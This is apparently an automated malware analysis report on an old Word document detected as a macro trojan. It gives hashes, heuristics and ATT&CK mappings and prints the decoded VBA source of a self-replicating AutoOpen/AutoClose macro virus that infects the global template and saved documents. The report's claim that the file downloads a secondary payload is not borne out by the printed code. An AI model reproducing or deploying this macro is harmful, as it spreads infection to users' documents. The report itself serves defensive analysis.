Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77e6a8f7884024f4…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-04-20 07:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c3a5474f694710525225e019f72367d5 SHA-1: 6d7c8b8e5798c2420cac22b240a600a7538ef9e6 SHA-256: 77e6a8f7884024f4adec7de6531f903d3af8dbe2343b7b510c32d30eeedc818c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon document interaction. The presence of these auto-executing macros, coupled with ClamAV detections indicating a Trojan, strongly suggests the file's purpose is to download and execute a secondary payload. No specific family could be identified, but the technique is consistent with macro-based malware delivery.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1214 bytes
SHA-256: 031919edeae9810a40b512c3fc88de24b55d4287669b24f95f9f4473b4cba85d
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
test = -1
con = 1
tog$ = ""
i = 0
nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub

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